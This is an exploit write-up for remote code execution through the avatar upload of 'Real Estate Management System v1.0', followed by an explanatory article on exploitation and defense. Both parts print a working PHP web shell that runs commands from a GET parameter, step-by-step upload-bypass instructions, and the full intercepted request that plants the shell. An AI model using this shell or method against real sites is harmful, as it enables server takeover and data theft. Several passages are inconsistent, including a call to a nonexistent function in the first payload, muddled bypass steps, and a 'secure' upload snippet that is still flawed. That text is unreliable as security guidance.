Real Estate Management System v1.0 - Remote Code Execution via File Upload
# Exploit Title: Real Estate Management System v1.0 - Remote Code Execution via File Upload
# Date: 2/11/2024
# Exploit Author: Diyar Saadi
# Vendor Homepage: https://codeastro.com
# Version: V1.0
# Tested on: Windows 11 + XAMPP 8.0.30 + Burp Suite Professional v2023.12.1.3
## Description ##
This Vulnerability allow the attacker to execute command injection payloads and upload malicious file into web server .
-----------------------------------------------------------------------------------------------------------------------
## Simple RCE Payload : ##
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system_payload($_GET['cmd']);
}
?>
</pre>
</body>
</html>
-----------------------------------------------------------------------------------------------------------------------
## Steps to Reproduce ##
1- Open Burp Suite ( Community + Professional ) + Click on Proxy Tab Then Enable Intercept By Clicking at Intercept is off .
2- Open The Browser From Proxy Tab Then Open The Resgister Web Page : http://localhost:8080/realestate/register.php
3- Prepare Your RCE PHP Script Base From Notepad or Any Editor Then Save the RCE PHP Script Base as : avatar.php filename .
4- Change The Filename extension into avatar.png , after save the RCE PHP Script .
5- Click Chose File From User Image Section Then Upload Your avatar.png file .
6- Click Register Then Back to Burp Suite Proxy Tab :
7- Modify File Extension Into Orginal File Extension that is : avatar.php in Example : Content-Disposition: form-data; name="uimage"; filename="avatar.png"
Content-Type: image/png .
8- After Modify The Content-Disposition From Burp Suite Proxy Tab Into Orginal File Extension Click Forward Button .
9- Open The Login Page : http://localhost:8080/realestate/login.php Then Register Through Your Account Email & Password .
10 - From MenuBar Click My Account & Profile Then Right Click at Image Icon > Copy Link > New Tab > Paste > Your Malicious Command is Ready To Execute .!
-----------------------------------------------------------------------------------------------------------------------
## Burp Request : ##
POST /realestate/register.php HTTP/1.1
Host: localhost
Content-Length: 1100
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywA99kZOAu8APGlhv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/realestate/register.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="name"
johnhamosh
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="email"
rasu1l@in.com
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="phone"
+199988764
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="pass"
<html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> </body> </html>
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="utype"
user
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="uimage"; filename="avatar.php"
Content-Type: image/png
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
------WebKitFormBoundarypgW90eleiRxRzcEK
Content-Disposition: form-data; name="reg"
Register
------WebKitFormBoundarypgW90eleiRxRzcEK--
-----------------------------------------------------------------------------------------------------------------------
## PoC Simple RCE Through This Vulnerability : ##
Directory of C:\xampp\htdocs\realestate\admin\user
..
02/11/2024 08:09 PM 315 avatar.php
02/11/2024 08:04 PM 315 avatar.png
02/11/2024 06:54 PM 9,376 avatarm2-min.jpg
02/11/2024 06:54 PM 13,186 avatarm7-min.jpg
02/11/2024 07:47 PM 1,814 avatars.php
02/11/2024 06:54 PM 1,313 gr7.png
02/11/2024 07:36 PM 28 poc.php
-----------------------------------------------------------------------------------------------------------------------
## Video PoC : ##
1- https://github.com/vulnerablecms/RCE-RealEstateVIDEOPOC/blob/main/PoC-RCE.mp4
2- https://gofile.io/d/AEWEgI
-----------------------------------------------------------------------------------------------------------------------
Greetz ! Real Estate Management System v1.0 – Remote Code Execution via File Upload: A Deep Dive into Exploitation and Defense
Security researchers and ethical hackers alike must remain vigilant when assessing web applications, especially those built on open-source frameworks. One such vulnerability, Real Estate Management System v1.0, has recently been exposed as a critical flaw enabling remote code execution (RCE) through a seemingly innocuous file upload feature. This article explores the technical underpinnings of this exploit, its real-world implications, and how to mitigate such risks.
Understanding the Vulnerability: File Upload and Code Injection
At its core, the vulnerability stems from a misconfigured file upload handler that fails to properly validate file extensions and content types. In this system, users can upload images via a form field labeled uimage, which is expected to accept only image files (e.g., .png, .jpg). However, the application allows PHP scripts to be uploaded under the guise of image files — specifically, avatar.php disguised as avatar.png.
When the file upload is processed, the system does not perform strict checks on the file’s content or extension. Instead, it stores the file in a directory accessible via web path (e.g., http://localhost/realestate/admin/user/). This opens a critical door: if the uploaded file contains executable PHP code, the server will execute it upon access — effectively turning a user upload into a remote command execution vector.
Exploit Workflow: Step-by-Step Analysis
Let’s break down the exploit’s steps with precision and clarity:
- Step 1: Launch Burp Suite (or any proxy tool) and enable intercept mode to capture HTTP requests.
- Step 2: Navigate to
http://localhost:8080/realestate/register.php— the registration page where the file upload form is present. - Step 3: Create a PHP payload script with embedded command execution logic. For example:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html> This script is designed to execute any command passed via the cmd parameter — allowing attackers to run arbitrary shell commands on the server.
Step 4: Save the file as avatar.php — the intended PHP extension — but rename it to avatar.png to bypass file type validation.
Step 5: Upload the file through the uimage field, using the file upload form. The system accepts it without filtering.
Step 6: Submit the registration form — the server stores the file in the admin/user directory.
Step 7: In Burp Suite, modify the request to change filename="avatar.png" to filename="avatar.php" — effectively altering the file’s extension to match its actual content type.
Step 8: Forward the request — the server now treats the file as PHP, allowing execution.
Step 9: Navigate to http://localhost:8080/realestate/login.php and log in with the account created.
Step 10: Access the user profile page and click on the image icon — right-click and select Copy Link — then paste in a new tab. The URL now points to http://localhost/realestate/admin/user/avatar.php.
This results in the execution of the cmd parameter — allowing an attacker to run commands such as whoami, ipconfig, or ls on the server.
Real-World Implications: What Can Be Achieved?
This vulnerability, if exploited, can lead to full control of the server. The attacker can:
- Execute arbitrary commands on the system — allowing access to sensitive data, databases, or system files.
- Establish persistent backdoors — via shell scripts or web shells.
- Exfiltrate data — such as user credentials, financial records, or property listings.
- Deploy malware — through the file upload mechanism.
In a real estate context, this could compromise customer data, financial records, or even allow attackers to modify listings, delete records, or alter pricing — all without authorization.
Technical Analysis: Why the System Fails
The root cause lies in the lack of proper file validation. The system does not:
- Check the file extension against a list of valid image types.
- Validate the file content — e.g., does it contain PHP code?
- Use a secure file storage mechanism — such as a non-executable directory or file upload sandbox.
Instead, it relies on the Content-Type header, which is easily manipulated — as demonstrated in the Burp Suite request:
Content-Disposition: form-data; name="uimage"; filename="avatar.png"
Content-Type: image/pngThis header is not sufficient to prevent execution — the server only checks the MIME type, not the actual content.
Fixing the Vulnerability: Secure File Upload Best Practices
To prevent such exploits, developers must adopt a robust file upload security model:
- File Extension Validation: Use a whitelist of allowed extensions (e.g.,
.jpg,.png,.jpeg). Reject any file with.phpor.html. - Content-Type Check: Validate the MIME type and ensure it matches the file extension.
- File Storage: Store uploaded files in a directory that is not executable — e.g.,
public/uploads/orstatic/— where no PHP execution is allowed. - File Rename: Rename uploaded files with a random prefix (e.g.,
random_12345.png) to prevent direct access. - Security Headers: Use
Content-DispositionandContent-Typeproperly — but also implement server-side checks.
For example, a secure implementation would include:
<?php
// Check file extension
$allowed_extensions = ['jpg', 'jpeg', 'png'];
$file_extension = strtolower(pathinfo($_FILES['uimage']['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
die('Invalid file type');
}
// Check content
$file_content = file_get_contents($_FILES['uimage']['tmp_name']);
if (strpos($file_content, '<?php') !== false) {
die('PHP content detected');
}
// Save file in non-executable directory
$upload_dir = 'public/uploads/';
$target_file = $upload_dir . uniqid() . '_' . $_FILES['uimage']['name'];
move_uploaded_file($_FILES['uimage']['tmp_name'], $target_file);
?>This code ensures that only valid image files are uploaded, and PHP content is detected and rejected — preventing execution.
Conclusion: Cybersecurity Lessons from Real Estate Management System v1.0
The Real Estate Management System v1.0 vulnerability serves as a stark reminder: even seemingly simple features — like file upload — can be exploited if not properly secured. It underscores the importance of:
- input validation — always validating both file extensions and content.
- server-side security — never relying on client-side checks alone.
- <em